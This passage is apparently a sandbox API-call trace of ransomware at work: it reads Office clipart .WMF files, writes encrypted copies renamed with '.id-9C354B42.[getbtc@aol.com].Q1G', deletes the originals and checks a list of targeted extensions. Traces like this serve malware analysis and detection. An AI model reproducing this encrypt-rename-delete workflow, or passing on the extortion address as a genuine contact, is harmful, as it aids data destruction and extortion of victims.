(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.389] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2052) returned 1 [0245.390] CloseHandle (hObject=0x3a8) returned 1 [0245.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0245.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.390] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.390] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.391] GetLastError () returned 0x0 [0245.391] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x804, lpOverlapped=0x0) returned 1 [0245.392] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x810, lpOverlapped=0x0) returned 1 [0245.393] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.393] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.393] SetEndOfFile (hFile=0x3b0) returned 1 [0245.393] CloseHandle (hObject=0x3b0) returned 1 [0245.394] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.394] SetEndOfFile (hFile=0x3a8) returned 1 [0245.396] CloseHandle (hObject=0x3a8) returned 1 [0245.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.397] lstrlenW (lpString=".doc") returned 4 [0245.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString=".docx") returned 5 [0245.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.397] lstrlenW (lpString=".pdf") returned 4 [0245.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString=".xls") returned 4 [0245.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.397] lstrlenW (lpString=".xlsx") returned 5 [0245.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.397] lstrlenW (lpString=".ppt") returned 4 [0245.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.397] lstrlenW (lpString=".zip") returned 4 [0245.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.397] lstrlenW (lpString=".rar") returned 4 [0245.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString=".bz2") returned 4 [0245.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString=".7z") returned 3 [0245.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.397] lstrlenW (lpString=".dbf") returned 4 [0245.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.397] lstrlenW (lpString=".1cd") returned 4 [0245.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".jpg") returned 4 [0245.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".doc") returned 4 [0245.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString=".docx") returned 5 [0245.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.398] lstrlenW (lpString=".pdf") returned 4 [0245.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString=".xls") returned 4 [0245.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.398] lstrlenW (lpString=".xlsx") returned 5 [0245.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.398] lstrlenW (lpString=".ppt") returned 4 [0245.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".zip") returned 4 [0245.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.398] lstrlenW (lpString=".rar") returned 4 [0245.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString=".bz2") returned 4 [0245.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString=".7z") returned 3 [0245.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".dbf") returned 4 [0245.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".1cd") returned 4 [0245.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0245.398] lstrlenW (lpString=".jpg") returned 4 [0245.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.399] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.399] lstrlenW (lpString="BS00440_.WMF") returned 12 [0245.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.399] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5580) returned 1 [0245.399] CloseHandle (hObject=0x3a8) returned 1 [0245.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0245.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.400] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.400] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.400] GetLastError () returned 0x0 [0245.400] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0245.402] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0245.403] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.403] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.403] SetEndOfFile (hFile=0x3b0) returned 1 [0245.403] CloseHandle (hObject=0x3b0) returned 1 [0245.403] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.403] SetEndOfFile (hFile=0x3a8) returned 1 [0245.406] CloseHandle (hObject=0x3a8) returned 1 [0245.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0245.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.407] lstrlenW (lpString=".doc") returned 4 [0245.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.407] lstrlenW (lpString=".docx") returned 5 [0245.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.407] lstrlenW (lpString=".pdf") returned 4 [0245.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.407] lstrlenW (lpString=".xls") returned 4 [0245.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.407] lstrlenW (lpString=".xlsx") returned 5 [0245.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.407] lstrlenW (lpString=".ppt") returned 4 [0245.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.407] lstrlenW (lpString=".zip") returned 4 [0245.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.407] lstrlenW (lpString=".rar") returned 4 [0245.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.407] lstrlenW (lpString=".bz2") returned 4 [0245.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.407] lstrlenW (lpString=".7z") returned 3 [0245.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString=".dbf") returned 4 [0245.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString=".1cd") returned 4 [0245.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString=".jpg") returned 4 [0245.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString=".doc") returned 4 [0245.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString=".docx") returned 5 [0245.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.408] lstrlenW (lpString=".pdf") returned 4 [0245.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString=".xls") returned 4 [0245.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.408] lstrlenW (lpString=".xlsx") returned 5 [0245.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.408] lstrlenW (lpString=".ppt") returned 4 [0245.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.408] lstrlenW (lpString=".zip") returned 4 [0245.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.408] lstrlenW (lpString=".rar") returned 4 [0245.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString=".bz2") returned 4 [0245.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.408] lstrlenW (lpString=".7z") returned 3 [0245.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.409] lstrlenW (lpString=".dbf") returned 4 [0245.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.409] lstrlenW (lpString=".1cd") returned 4 [0245.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0245.409] lstrlenW (lpString=".jpg") returned 4 [0245.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.409] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.409] lstrlenW (lpString="BS00441_.WMF") returned 12 [0245.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.409] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3524) returned 1 [0245.409] CloseHandle (hObject=0x3a8) returned 1 [0245.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0245.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.543] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.543] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.544] GetLastError () returned 0x0 [0246.544] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0246.558] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0246.558] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.558] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.559] SetEndOfFile (hFile=0x3a8) returned 1 [0246.559] CloseHandle (hObject=0x3a8) returned 1 [0246.559] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.559] SetEndOfFile (hFile=0x3b0) returned 1 [0246.561] CloseHandle (hObject=0x3b0) returned 1 [0246.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0246.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.787] lstrlenW (lpString=".doc") returned 4 [0246.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.787] lstrlenW (lpString=".docx") returned 5 [0246.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.787] lstrlenW (lpString=".pdf") returned 4 [0246.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.787] lstrlenW (lpString=".xls") returned 4 [0246.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.787] lstrlenW (lpString=".xlsx") returned 5 [0246.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.787] lstrlenW (lpString=".ppt") returned 4 [0246.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.787] lstrlenW (lpString=".zip") returned 4 [0246.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.787] lstrlenW (lpString=".rar") returned 4 [0246.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.787] lstrlenW (lpString=".bz2") returned 4 [0246.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString=".7z") returned 3 [0246.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString=".dbf") returned 4 [0246.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString=".1cd") returned 4 [0246.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString=".jpg") returned 4 [0246.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString=".doc") returned 4 [0246.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString=".docx") returned 5 [0246.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.788] lstrlenW (lpString=".pdf") returned 4 [0246.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString=".xls") returned 4 [0246.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.788] lstrlenW (lpString=".xlsx") returned 5 [0246.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.788] lstrlenW (lpString=".ppt") returned 4 [0246.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.788] lstrlenW (lpString=".zip") returned 4 [0246.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.788] lstrlenW (lpString=".rar") returned 4 [0246.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.788] lstrlenW (lpString=".bz2") returned 4 [0246.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.789] lstrlenW (lpString=".7z") returned 3 [0246.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.789] lstrlenW (lpString=".dbf") returned 4 [0246.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.789] lstrlenW (lpString=".1cd") returned 4 [0246.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0246.789] lstrlenW (lpString=".jpg") returned 4 [0246.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.789] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.789] lstrlenW (lpString="BS01634_.WMF") returned 12 [0246.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.794] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3494) returned 1 [0246.795] CloseHandle (hObject=0x3bc) returned 1 [0246.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0246.795] 